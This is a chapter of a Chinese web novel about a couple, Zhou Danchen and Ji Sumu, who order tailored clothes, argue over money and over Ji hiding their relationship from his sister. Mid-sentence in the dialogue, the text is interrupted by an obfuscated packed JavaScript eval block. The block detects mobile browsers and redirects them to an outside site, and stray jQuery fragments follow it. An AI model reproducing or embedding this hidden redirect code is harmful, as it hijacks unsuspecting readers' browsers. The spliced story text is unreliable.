六束花只花了不到半小时就都以五元钱的价格卖出去了。
纪苏木虽然不明白为什么这么做,但还是从中汲取到一丝乐趣。
“接下来去哪儿?”
周丹臣看他一眼,拍拍露营车的把手,“把这玩意收起来放车里,我带你上去店里量体,回头给你做几身正装,以后正经场合穿。”
纪苏木的消费观里,衣服舒服就行,没必要买很贵的,“不会又是很贵的衣服吧,今儿早上我姐还说我的衣服贵了。”
周丹臣站在车旁边等他吧露营车放进后备箱,“放心,这回西装没有牌子,师傅手工做的,你姐看不出价格。”
纪苏木小声嘟囔:“我又不是没有西装。”
周丹臣呼噜了一把他的后脑勺:“就你上次穿去婚礼那套我都不想说你,那是什么啊,后背皱皱巴巴,衬衣袖口都露不出来,以后怎么戴袖扣。”
纪苏木:“但我觉得挺合身的啊,也花了我二百多呢。”
周丹臣笑了,指了下他脚上的袜子:“就你脚上的袜子一双都要三百,你跟我说你那一身西装二百多?”
纪苏木抬了下脚,刷新了一下三观:“一双袜子三百?”
纪苏木想象不出自己这一身多少钱,怪不得早上他姐会问他衣服:“你别给我买这么贵的,我的工资都买不起,回头别人问起来我都不知道怎么回。”
周丹臣心想就是要让别人问,依着纪苏木这个鸵鸟的性子,他这名分不知道什么时候能领到呢,没准别人多问问,这人能早点给名分。
周丹臣:“出门在外,怎么能没几身行头,难道我领着你出门,我穿几千的衣服给你穿几百的,这不是打我自己脸吗?我乐意给你花,不好吗?”
纪苏木捻了捻手指:“夏天的衣服,几十的就行吧,几十的衣服穿一夏就扔了也不心疼,几百几千的扔了多心疼啊。”
周丹臣笑了,看了纪苏木好久:“那以后我的钱给你管,你负责买衣服?”
纪苏木连忙摆手:“我不懂你那些衣服,你要出去谈生意肯定得穿好点,我又不用见什么人,随便穿穿就行。”
周丹臣:“那就听我的,我买什么你就穿什么,知道了吗?”
纪苏木:“那也不用买那么贵的,夏装几百的就行了。”
周丹臣:“我就是想和你穿情侣装,所以都从一家买的。”
纪苏木哦一声,不说话了,只有周丹臣看见他耳根悄悄红了。
周丹臣带着纪苏木进了一个他没听说牌子的店,那里面走出来一个穿着围裙的男人。
男人大概三十多岁,和周丹臣寒暄几句就把目光投向了纪苏木。
“先生身材很好啊。”,男人一边说着一边掏出皮尺。
纪苏木站在那任由他摆弄。
男人量的很仔细,一边量一边记录。
等男人从头围量到脚腕,时间已经过去了半个来小时。
纪苏木扫了一眼他的本子,密密麻麻,好多不认识的符号,单位也不是常见的厘米。
周丹臣坐在一边看他被摆弄的样子笑。
纪苏木捕捉到那个笑,悄悄瞪了他一眼,周丹臣笑得更开心了。
男人终于量完,把皮尺收到围裙口袋里。
“纪先生咱们试一下面料吧。”
周丹臣跟了过来,男人抱出来好几卷布料。
纪苏木站在镜子前,披上不同的布料,像是个换装娃娃。
周丹臣就在后面决定要还是不要,要的话做什么款。
周丹臣一边说,老板一边记。
等都试完,纪苏木脑子都是木的。
老板拿着本子,指着布料:“西装3套配领带和领结,大衣2件,风衣2件,衬衣6件,就这些了?”
周丹臣点点头,看向纪苏木:“还有喜欢的吗?”
纪苏木摇头,要他说这大热天的,做什么西装大衣风衣,又穿不上。
老板:“排期大概到八月,我做好给你送过去,还是原来的地址吗?”
周丹臣嗯一声,“我账上还有钱吗?”
老板掏出手机,翻了一下,“够的,周先生还要做几件吗?现在订的话排期能早点。”
周丹臣上前几步翻了翻布料,拎出其中一块灰色的,还有一块据说是蚕丝混羊毛的毛呢料:“这两块,也给我做两身。”
老板:“也是一套西装,一套大衣。”
周丹臣:“嗯。”
两个人出来,纪苏木悄悄问周丹臣,“今天订这么多衣服得花多少钱啊?”
周丹臣:“不告诉你。”
纪苏木:“挺贵的吧,那些料子看起来就贵,我又不经常穿,没必要……”
周丹臣看他一眼,纪苏木的话憋回去了,见他不说话了,周丹臣才开口:“我以后又没孩子,挣的钱不给你花,你想让我给谁花去?”
纪苏木看出周丹臣不开心了,也是,高高兴兴带着自己来做衣服,结果自己一直唱反调。
周丹臣在前面走,纪苏木跟在后面小声问:“臣哥,你生气啦?”
周丹臣停下脚步,“没有生气,这只是咱们两个人的消费观不同而已,我只是在思考怎么能求同存异。”
纪苏木本来还想和他解释,余光却扫到纪竹茹和她朋友手挽手走过来。
条件反射的,纪苏木拉着周丹臣的手跑进了旁边一家店。
周丹臣虽然不明白怎么突然跑起来了,但还是顺着他的力道走,直到两个人进了店,他才顺着纪苏木的目光看见纪竹茹的背影。
周丹臣拉着纪苏木,跟领路的服务员往餐桌走:“既然进来了,吃吧。”
这是一家烤鱼店,可能是过了高峰期,现在还有空位。
纪苏木在座位上坐立不安,他不知道怎么就这么巧,能在同一家商场遇见纪竹茹。
他惴惴不安地望向外面,担心刚刚纪竹茹是不是看见他了。
如果看见了,他怎么解释?
周丹臣在他面前打了个响指:“诶,回神了。”
纪苏木这才反应过来,“这是吃什么?”
周丹臣反问:“不是你选的吗?”
纪苏木解释:“不是,我刚看到我姐和她朋友就在对面,我怕遇见,就赶紧拉你进来了。”
周丹臣从鼻子里发出一声笑,眼睛看向他:“我是什么见不得人的人吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336430|199253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?你姐能和她朋友出来,你不能和我出来吗?”
纪苏木整个人愣住了。
也对啊。
那他刚刚在躲什么?
周丹臣笑着看向他:“你在做贼心虚什么?”
纪苏木低下头,下意识开始装鹌鹑,周丹臣没听到回答继续问:“纪苏木,你什么时候能考虑好把咱俩的事告诉你姐呢?”
纪苏木又开始推脱:“我还没想好,我再给我点时间。”
周丹臣:“你需要多长时间?有期限吗?”
纪苏木张了张嘴又合上了。
正在这时候服务员上菜了。
两个人都不再说话,等服务员走了,周丹臣才悠悠叹了口气。
“纪苏木,我有时候就在想,你真的想和我过下去吗?”
纪苏木低着的头一下子抬起来,一双眼睛紧紧盯着周丹臣的眼睛,声音都抖了:“臣哥,你什么意思?”
周丹臣挥了挥手,看着蒸腾的热气,“你为什么想躲?你姐熬夜追剧,你宁肯守到夜里两点上楼,早晨六点又要下楼,你为什么那么怕你姐发现咱俩的关系?”
周丹臣悠悠叹了口气:“纪苏木,你把我当什么,一个见不得光的同|性|恋吗?”
纪苏木连忙摇头:“不,不是,不是,我没有这个意思。”
周丹臣的目光平静地看向他:“那你在躲什么?你一直说要想想,想什么?”
纪苏木张了张嘴,却说不出什么辩驳的话来,只好低下头看着桌面的花纹。
周丹臣被他这幅熟练的鸵鸟姿态气笑了:“遇到回答不了的问题就不回答,谁教你的?”
这一顿饭两个人都没有再说话,回去的路上周丹臣看纪苏木紧张地观察周围,生怕纪竹茹突然出现的样子,又好笑又觉得茫然。
他们明明如此亲密了,可为什么他觉得纪苏木的心好远。
他不明白纪苏木想要什么。
也不清楚纪苏木要想什么。
这种超出控制的感觉并不美妙。
他走到驾驶室那边,开门的手却被纪苏木按住:“我来开吧。”
周丹臣松开手,绕到了副驾驶。
上了车就闭上眼睛,他不想带着情绪跟纪苏木说话,那样很容易伤感情。
虽然不知道在纪苏木眼睛里这感情的厚度有几分,但就周丹臣而言,他是珍惜的。
纪苏木用余光偷偷看他,却不知道该说什么,一直以来都是周丹臣主动挑起话题,是他引导自己下一步做什么怎么做。
可此刻,周丹臣闭上眼睛,不再给他指示,纪苏木的心像是悬在半空中,没有个着落。
犹豫了很久,纪苏木开口:“臣哥,对不起。”
周丹臣挥挥手,没说话。
纪苏木更慌了,却不知道接下来该怎么说。
周丹臣的生意他不懂,他也没什么爱好可供分享,医院病人的情况要保护人家的隐私也不能当做谈资。
纪苏木绞尽脑汁也想不出能找出什么话题来。
他想,他本身就不是一个能提供情绪价值的人。
车开了一个小时,纪苏木一颗心就提着一个小时。